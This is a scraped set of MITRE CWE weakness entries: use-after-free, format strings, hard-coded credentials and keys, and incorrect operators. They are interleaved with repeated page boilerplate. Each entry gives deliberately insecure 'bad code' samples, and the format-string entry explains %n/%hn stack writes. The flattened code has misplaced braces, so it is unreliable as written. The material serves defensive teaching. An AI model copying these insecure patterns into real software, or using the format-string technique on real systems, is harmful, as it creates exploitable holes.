exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
Terminology
Many weaknesses related to pointer dereferences fall under the general term of "memory corruption" or "memory safety." As of September 2010, there is no commonly-used terminology that covers the lower-level variants.
Maintenance
There are close relationships between incorrect pointer dereferences and other weaknesses related to buffer operations. There may not be sufficient community agreement regarding these relationships. Further study is needed to determine when these relationships are chains, composites, perspective/layering, or other types of relationships. As of September 2010, most of the relationships are being captured as chains.
CWE-416: Use After Free
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom Filter
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Languages C (Undetermined Prevalence) C++ (Undetermined Prevalence) Example 1 The following example demonstrates the weakness. (bad code)
Example Language: C
#include <stdio.h>
#include <unistd.h> #define BUFSIZER1 512 #define BUFSIZER2 ((BUFSIZER1/2) - 8) int main(int argc, char **argv) { char *buf1R1; }char *buf2R1; char *buf2R2; char *buf3R2; buf1R1 = (char *) malloc(BUFSIZER1); buf2R1 = (char *) malloc(BUFSIZER1); free(buf2R1); buf2R2 = (char *) malloc(BUFSIZER2); buf3R2 = (char *) malloc(BUFSIZER2); strncpy(buf2R1, argv[1], BUFSIZER1-1); free(buf1R1); free(buf2R2); free(buf3R2); Example 2 The following code illustrates a use after free error: (bad code)
Example Language: C
char* ptr = (char*)malloc (SIZE);
if (err) { abrt = 1; }free(ptr); ... if (abrt) { logError("operation aborted before commit", ptr); }When an error occurs, the pointer is immediately freed. However, this pointer is later incorrectly used in the logError function.
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-134: Use of Externally-Controlled Format String
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product uses a function that accepts a format string as an argument, but the format string originates from an external source.
When an attacker can modify an externally-controlled format string, this can lead to buffer overflows, denial of service, or data representation problems. It should be noted that in some circumstances, such as internationalization, the set of format strings is externally controlled by design. If the source of these format strings is trusted (e.g. only contained in library files that are only modifiable by the system administrator), then the external control might not itself pose a vulnerability. This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Languages C (Often Prevalent) C++ (Often Prevalent) Perl (Rarely Prevalent) Example 1 The following program prints a string provided as an argument. (bad code)
Example Language: C
#include <stdio.h>
void printWrapper(char *string) { printf(string); int main(int argc, char **argv) { char buf[5012]; memcpy(buf, argv[1], 5012); printWrapper(argv[1]); return (0); The example is exploitable, because of the call to printf() in the printWrapper() function. Note: The stack buffer was added to make exploitation more simple. Example 2 The following code copies a command line argument into a buffer using snprintf(). (bad code)
Example Language: C
int main(int argc, char **argv){
char buf[128]; }... snprintf(buf,128,argv[1]); This code allows an attacker to view the contents of the stack and write to the stack using a command line argument containing a sequence of formatting directives. The attacker can read from the stack by providing more formatting directives, such as %x, than the function takes as arguments to be formatted. (In this example, the function takes no arguments to be formatted.) By using the %n formatting directive, the attacker can write to the stack, causing snprintf() to write the number of bytes output thus far to the specified argument (rather than reading a value from the argument, which is the intended behavior). A sophisticated version of this attack will use four staggered writes to completely control the value of a pointer on the stack. Example 3 Certain implementations make more advanced attacks even easier by providing format directives that control the location in memory to read from or write to. An example of these directives is shown in the following code, written for glibc: (bad code)
Example Language: C
printf("%d %d %1$d %1$d\n", 5, 9);
This code produces the following output: 5 9 5 5 It is also possible to use half-writes (%hn) to accurately control arbitrary DWORDS in memory, which greatly reduces the complexity needed to execute an attack that would otherwise require four staggered writes, such as the one mentioned in the first example.
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
Applicable Platform This weakness is possible in any programming language that support format strings. Research Gap
Format string issues are under-studied for languages other than C. Memory or disk consumption, control flow or variable alteration, and data corruption may result from format string exploitation in applications written in other languages such as Perl, PHP, Python, etc.
Other While Format String vulnerabilities typically fall under the Buffer Overflow category, technically they are not overflowed buffers. The Format String vulnerability is fairly new (circa 1999) and stems from the fact that there is no realistic way for a function that takes a variable number of arguments to determine just how many arguments were passed in. The most common functions that take a variable number of arguments, including C-runtime functions, are the printf() family of calls. The Format String problem appears in a number of ways. A *printf() call without a format specifier is dangerous and can be exploited. For example, printf(input); is exploitable, while printf(y, input); is not exploitable in that context. The result of the first call, used incorrectly, allows for an attacker to be able to peek at stack memory since the input string will be used as the format specifier. The attacker can stuff the input string with format specifiers and begin reading stack values, since the remaining parameters will be pulled from the stack. Worst case, this improper use may give away enough control to allow an arbitrary value (or values in the case of an exploit program) to be written into the memory of the running program. Frequently targeted entities are file names, process names, identifiers. Format string problems are a classic C/C++ issue that are now rare due to the ease of discovery. One main reason format string vulnerabilities can be exploited is due to the %n operator. The %n operator will write the number of characters, which have been printed by the format string therefore far, to the memory pointed to by its argument. Through skilled creation of a format string, a malicious user may use values on the stack to create a write-what-where condition. Once this is achieved, they can execute arbitrary code. Other operators can be used as well; for example, a %9999s operator could also trigger a buffer overflow, or when used in file-formatting functions like fprintf, it can generate a much larger output than intended.
CWE-798: Use of Hard-coded Credentials
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThere are two main variations:
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
Relevant to the view "Architectural Concepts" (CWE-1008)
Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Languages Class: Not Language-Specific (Undetermined Prevalence) Technologies Class: Mobile (Undetermined Prevalence) Class: ICS/OT (Often Prevalent) Example 1 The following code uses a hard-coded password to connect to a database: (bad code)
Example Language: Java
...
DriverManager.getConnection(url, "scott", "tiger"); ... This is an example of an external hard-coded password on the client-side of a connection. This code will run successfully, but anyone who has access to it will have access to the password. Once the program has shipped, there is no going back from the database user "scott" with a password of "tiger" unless the program is patched. A devious employee with access to this information can use it to break into the system. Even worse, if attackers have access to the bytecode for application, they can use the javap -c command to access the disassembled code, which will contain the values of the passwords used. The result of this operation might look something like the following for the example above: (attack code)
javap -c ConnMngr.class
22: ldc #36; //String jdbc:mysql://ixne.com/rxsql
24: ldc #38; //String scott 26: ldc #17; //String tiger Example 2 The following code is an example of an internal hard-coded password in the back-end: (bad code)
Example Language: C
int VerifyAdmin(char *password) {
if (strcmp(password, "Mew!")) {
printf("Incorrect Password!\n");
return(0) printf("Entering Diagnostic Mode...\n"); return(1); (bad code)
Example Language: Java
int VerifyAdmin(String password) {
if (!password.equals("Mew!")) { }return(0) }//Diagnostic Mode return(1); Every instance of this program can be placed into diagnostic mode with the same password. Even worse is the fact that if this program is distributed as a binary-only distribution, it is very difficult to change that password or disable this "functionality." Example 3 The following code examples attempt to verify a password using a hard-coded cryptographic key. (bad code)
Example Language: C
int VerifyAdmin(char *password) {
if (strcmp(password,"68af404b513073584c4b6f22b6c63e6b")) {
printf("Incorrect Password!\n"); return(0); printf("Entering Diagnostic Mode...\n"); return(1); (bad code)
Example Language: Java
public boolean VerifyAdmin(String password) {
if (password.equals("68af404b513073584c4b6f22b6c63e6b")) {
System.out.println("Entering Diagnostic Mode..."); }return true; System.out.println("Incorrect Password!"); return false; (bad code)
Example Language: C#
int VerifyAdmin(String password) {
if (password.Equals("68af404b513073584c4b6f22b6c63e6b")) { }Console.WriteLine("Entering Diagnostic Mode..."); }return(1); Console.WriteLine("Incorrect Password!"); return(0); The cryptographic key is within a hard-coded string value that is compared to the password. It is likely that an attacker will be able to read the key and compromise the system. Example 4 The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but they are stored in cleartext. This Java example shows a properties file with a cleartext username / password pair. (bad code)
Example Language: Java
# Java Web App ResourceBundle properties file ... webapp.ldap.username=secretUsername webapp.ldap.password=secretPassword ... The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database but the pair is stored in cleartext. (bad code)
Example Language: ASP.NET
...
<connectionStrings> <add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;" providerName="System.Data.Odbc" /> </connectionStrings>... Username and password information should not be included in a configuration file or a properties file in cleartext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information. Example 5 In 2022, the OT:ICEFALL study examined products by 10 different Operational Technology (OT) vendors. The researchers reported 56 vulnerabilities and said that the products were "insecure by design" [REF-1283]. If exploited, these vulnerabilities often allowed adversaries to change how the products operated, ranging from denial of service to changing the code that the products executed. Since these products were often used in industries such as power, electrical, water, and others, there could even be safety implications. Multiple vendors used hard-coded credentials in their OT products.
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
Maintenance
The Taxonomy_Mappings to ISA/IEC 62443 were added in CWE 4.10, but they are still under review and might change in future CWE versions. These draft mappings were performed by members of the "Mapping CWE to 62443" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG), and their work is incomplete as of CWE 4.10. The mappings are included to facilitate discussion and review by the broader ICS/OT community, and they are likely to change in future CWE versions.
CWE-321: Use of Hard-coded Cryptographic Key
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe use of a hard-coded cryptographic key significantly increases the possibility that encrypted data may be recovered.
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Architectural Concepts" (CWE-1008)
Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Languages Class: Not Language-Specific (Undetermined Prevalence) Technologies Class: ICS/OT (Undetermined Prevalence) Example 1 The following code examples attempt to verify a password using a hard-coded cryptographic key. (bad code)
Example Language: C
int VerifyAdmin(char *password) {
if (strcmp(password,"68af404b513073584c4b6f22b6c63e6b")) {
printf("Incorrect Password!\n"); return(0); printf("Entering Diagnostic Mode...\n"); return(1); (bad code)
Example Language: Java
public boolean VerifyAdmin(String password) {
if (password.equals("68af404b513073584c4b6f22b6c63e6b")) {
System.out.println("Entering Diagnostic Mode..."); }return true; System.out.println("Incorrect Password!"); return false; (bad code)
Example Language: C#
int VerifyAdmin(String password) {
if (password.Equals("68af404b513073584c4b6f22b6c63e6b")) { }Console.WriteLine("Entering Diagnostic Mode..."); }return(1); Console.WriteLine("Incorrect Password!"); return(0); The cryptographic key is within a hard-coded string value that is compared to the password. It is likely that an attacker will be able to read the key and compromise the system. Example 2 In 2022, the OT:ICEFALL study examined products by 10 different Operational Technology (OT) vendors. The researchers reported 56 vulnerabilities and said that the products were "insecure by design" [REF-1283]. If exploited, these vulnerabilities often allowed adversaries to change how the products operated, ranging from denial of service to changing the code that the products executed. Since these products were often used in industries such as power, electrical, water, and others, there could even be safety implications. Multiple vendors used hard-coded keys for critical functionality in their OT products.
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
Other
The main difference between the use of hard-coded passwords and the use of hard-coded cryptographic keys is the false sense of security that the former conveys. Many people believe that simply hashing a hard-coded password before storage will protect the information from malicious users. However, many hashes are reversible (or at least vulnerable to brute force attacks) -- and further, many authentication protocols simply request the hash itself, making it no better than a password.
Maintenance
The Taxonomy_Mappings to ISA/IEC 62443 were added in CWE 4.10, but they are still under review and might change in future CWE versions. These draft mappings were performed by members of the "Mapping CWE to 62443" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG), and their work is incomplete as of CWE 4.10. The mappings are included to facilitate discussion and review by the broader ICS/OT community, and they are likely to change in future CWE versions.
CWE-259: Use of Hard-coded Password
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product contains a hard-coded password, which it uses for its own inbound authentication or for outbound communication to external components.
A hard-coded password typically leads to a significant authentication failure that can be difficult for the system administrator to detect. Once detected, it can be difficult to fix, so the administrator may be forced into disabling the product entirely. There are two main variations: Inbound: the product contains an authentication mechanism that checks for a hard-coded password.
Outbound: the product connects to another system or component, and it contains hard-coded password for connecting to that component.
In the Inbound variant, a default administration account is created, and a simple password is hard-coded into the product and associated with that account. This hard-coded password is the same for each installation of the product, and it usually cannot be changed or disabled by system administrators without manually modifying the program, or otherwise patching the product. If the password is ever discovered or published (a common occurrence on the Internet), then anybody with knowledge of this password can access the product. Finally, since all installations of the product will have the same password, even across different organizations, this enables massive attacks such as worms to take place. The Outbound variant applies to front-end systems that authenticate with a back-end service. The back-end service may require a fixed password which can be easily discovered. The programmer may simply hard-code those back-end credentials into the front-end product. Any user of that program may be able to extract the password. Client-side systems with hard-coded passwords pose even more of a threat, since the extraction of a password from a binary is usually very simple. This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Architectural Concepts" (CWE-1008)
Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Languages Class: Not Language-Specific (Undetermined Prevalence) Technologies Class: ICS/OT (Undetermined Prevalence) Example 1 The following code uses a hard-coded password to connect to a database: (bad code)
Example Language: Java
...
DriverManager.getConnection(url, "scott", "tiger"); ... This is an example of an external hard-coded password on the client-side of a connection. This code will run successfully, but anyone who has access to it will have access to the password. Once the program has shipped, there is no going back from the database user "scott" with a password of "tiger" unless the program is patched. A devious employee with access to this information can use it to break into the system. Even worse, if attackers have access to the bytecode for application, they can use the javap -c command to access the disassembled code, which will contain the values of the passwords used. The result of this operation might look something like the following for the example above: (attack code)
javap -c ConnMngr.class
22: ldc #36; //String jdbc:mysql://ixne.com/rxsql
24: ldc #38; //String scott 26: ldc #17; //String tiger Example 2 The following code is an example of an internal hard-coded password in the back-end: (bad code)
Example Language: C
int VerifyAdmin(char *password) {
if (strcmp(password, "Mew!")) {
printf("Incorrect Password!\n");
return(0) printf("Entering Diagnostic Mode...\n"); return(1); (bad code)
Example Language: Java
int VerifyAdmin(String password) {
if (!password.equals("Mew!")) { }return(0) }//Diagnostic Mode return(1); Every instance of this program can be placed into diagnostic mode with the same password. Even worse is the fact that if this program is distributed as a binary-only distribution, it is very difficult to change that password or disable this "functionality." Example 3 The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but they are stored in cleartext. This Java example shows a properties file with a cleartext username / password pair. (bad code)
Example Language: Java
# Java Web App ResourceBundle properties file ... webapp.ldap.username=secretUsername webapp.ldap.password=secretPassword ... The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database but the pair is stored in cleartext. (bad code)
Example Language: ASP.NET
...
<connectionStrings> <add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;" providerName="System.Data.Odbc" /> </connectionStrings>... Username and password information should not be included in a configuration file or a properties file in cleartext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information. Example 4 In 2022, the OT:ICEFALL study examined products by 10 different Operational Technology (OT) vendors. The researchers reported 56 vulnerabilities and said that the products were "insecure by design" [REF-1283]. If exploited, these vulnerabilities often allowed adversaries to change how the products operated, ranging from denial of service to changing the code that the products executed. Since these products were often used in industries such as power, electrical, water, and others, there could even be safety implications. Multiple vendors used hard-coded credentials in their OT products.
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
Maintenance
This entry could be split into multiple variants: an inbound variant (as seen in the second demonstrative example) and an outbound variant (as seen in the first demonstrative example). These variants are likely to have different consequences, detectability, etc. More importantly, from a vulnerability theory perspective, they could be characterized as different behaviors.
CWE-480: Use of Incorrect Operator
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product accidentally uses the wrong operator, which changes the logic in security-relevant ways.
This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
Relevant to the view "Software Development" (CWE-699)
The different Modes of Introduction provide information
about how and when this
weakness may be introduced. The Phase identifies a point in the life cycle at which
introduction
may occur, while the Note provides a typical scenario related to introduction during the
given
phase.
This listing shows possible areas for which the given
weakness could appear. These
may be for specific named Languages, Operating Systems, Architectures, Paradigms,
Technologies,
or a class of such platforms. The platform is listed along with how frequently the given
weakness appears for that instance.
Languages C (Sometimes Prevalent) C++ (Sometimes Prevalent) Perl (Sometimes Prevalent) Class: Not Language-Specific (Undetermined Prevalence) Example 1 The following C/C++ and C# examples attempt to validate an int input parameter against the integer value 100. (bad code)
Example Language: C
int isValid(int value) {
if (value=100) { }printf("Value is valid\n"); }return(1); printf("Value is not valid\n"); return(0); (bad code)
Example Language: C#
bool isValid(int value) {
if (value=100) { }Console.WriteLine("Value is valid."); }return true; Console.WriteLine("Value is not valid."); return false; However, the expression to be evaluated in the if statement uses the assignment operator "=" rather than the comparison operator "==". The result of using the assignment operator instead of the comparison operator causes the int variable to be reassigned locally and the expression in the if statement will always evaluate to the value on the right hand side of the expression. This will result in the input value not being properly validated, which can cause unexpected results. Example 2 The following C/C++ example shows a simple implementation of a stack that includes methods for adding and removing integer values from the stack. The example uses pointers to add and remove integer values to the stack array variable. (bad code)
Example Language: C
#define SIZE 50
int *tos, *p1, stack[SIZE]; void push(int i) { p1++;
if(p1==(tos+SIZE)) { // Print stack overflow error message and exit *p1 == i; int pop(void) { if(p1==tos) {
// Print stack underflow error message and exit p1--; return *(p1+1); int main(int argc, char *argv[]) { // initialize tos and p1 to point to the top of stack tos = stack; p1 = stack; // code to add and remove items from stack ... return 0; The push method includes an expression to assign the integer value to the location in the stack pointed to by the pointer variable. However, this expression uses the comparison operator "==" rather than the assignment operator "=". The result of using the comparison operator instead of the assignment operator causes erroneous values to be entered into the stack and can cause unexpected results. Example 3 The example code below is taken from the CVA6 processor core of the HACK@DAC'21 buggy OpenPiton SoC. Debug access allows users to access internal hardware registers that are otherwise not exposed for user access or restricted access through access control protocols. Hence, requests to enter debug mode are checked and authorized only if the processor has sufficient privileges. In addition, debug accesses are also locked behind password checkers. Thus, the processor enters debug mode only when the privilege level requirement is met, and the correct debug password is provided. The following code [REF-1377] illustrates an instance of a vulnerable implementation of debug mode. The core correctly checks if the debug requests have sufficient privileges and enables the debug_mode_d and debug_mode_q signals. It also correctly checks for debug password and enables umode_i signal. (bad code)
Example Language: Verilog
module csr_regfile #(
...
// check that we actually want to enter debug depending on the privilege level we are currently in
...unique case (priv_lvl_o)
riscv::PRIV_LVL_M: begin
debug_mode_d = dcsr_q.ebreakm;
riscv::PRIV_LVL_U: begin
debug_mode_d = dcsr_q.ebreaku;
assign priv_lvl_o = (debug_mode_q || umode_i) ? riscv::PRIV_LVL_M : priv_lvl_q;
...
debug_mode_q <= debug_mode_d;
...However, it grants debug access and changes the privilege level, priv_lvl_o, even when one of the two checks is satisfied and the other is not. Because of this, debug access can be granted by simply requesting with sufficient privileges (i.e., debug_mode_q is enabled) and failing the password check (i.e., umode_i is disabled). This allows an attacker to bypass the debug password checking and gain debug access to the core, compromising the security of the processor. A fix to this issue is to only change the privilege level of the processor when both checks are satisfied, i.e., the request has enough privileges (i.e., debug_mode_q is enabled) and the password checking is successful (i.e., umode_i is enabled) [REF-1378]. (good code)
Example Language: Verilog
module csr_regfile #(
...
// check that we actually want to enter debug depending on the privilege level we are currently in
...unique case (priv_lvl_o)
riscv::PRIV_LVL_M: begin
debug_mode_d = dcsr_q.ebreakm;
riscv::PRIV_LVL_U: begin
debug_mode_d = dcsr_q.ebreaku;
assign priv_lvl_o = (debug_mode_q && umode_i) ? riscv::PRIV_LVL_M : priv_lvl_q;
...
debug_mode_q <= debug_mode_d;
...
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-1091: Use of Object without Invoking Destructor Method
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers.
For users who wish to see all available information for the CWE/CAPEC entry.
For users who want to customize what details are displayed.
×
Edit Custom FilterThe product contains a method that accesses an object but does not later invoke
the element's associated finalize/destructor method.
This issue can make the product perform more slowly by retaining memory and/or other resources longer than necessary. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability. This table specifies different individual consequences
associated with the weakness. The Scope identifies the application security area that is
violated, while the Impact describes the negative technical impact that arises if an
adversary succeeds in exploiting this weakness. The Likelihood provides information about
how likely the specific consequence is expected to be seen relative to the other
consequences in the list. For example, there may be high likelihood that a weakness will be
exploited to achieve a certain impact, but a low likelihood that it will be exploited to
achieve a different impact.
This table shows the weaknesses and high level categories that are related to this
weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to
similar items that may exist at higher and lower levels of abstraction. In addition,
relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user
may want to explore.
Relevant to the view "Research Concepts" (CWE-1000)
This MemberOf Relationships table shows additional CWE Categories and Views that
reference this weakness as a member. This information is often useful in understanding where a
weakness fits within the context of external information sources.
CWE-477: Use of Obsolete Function
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers.
For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts.
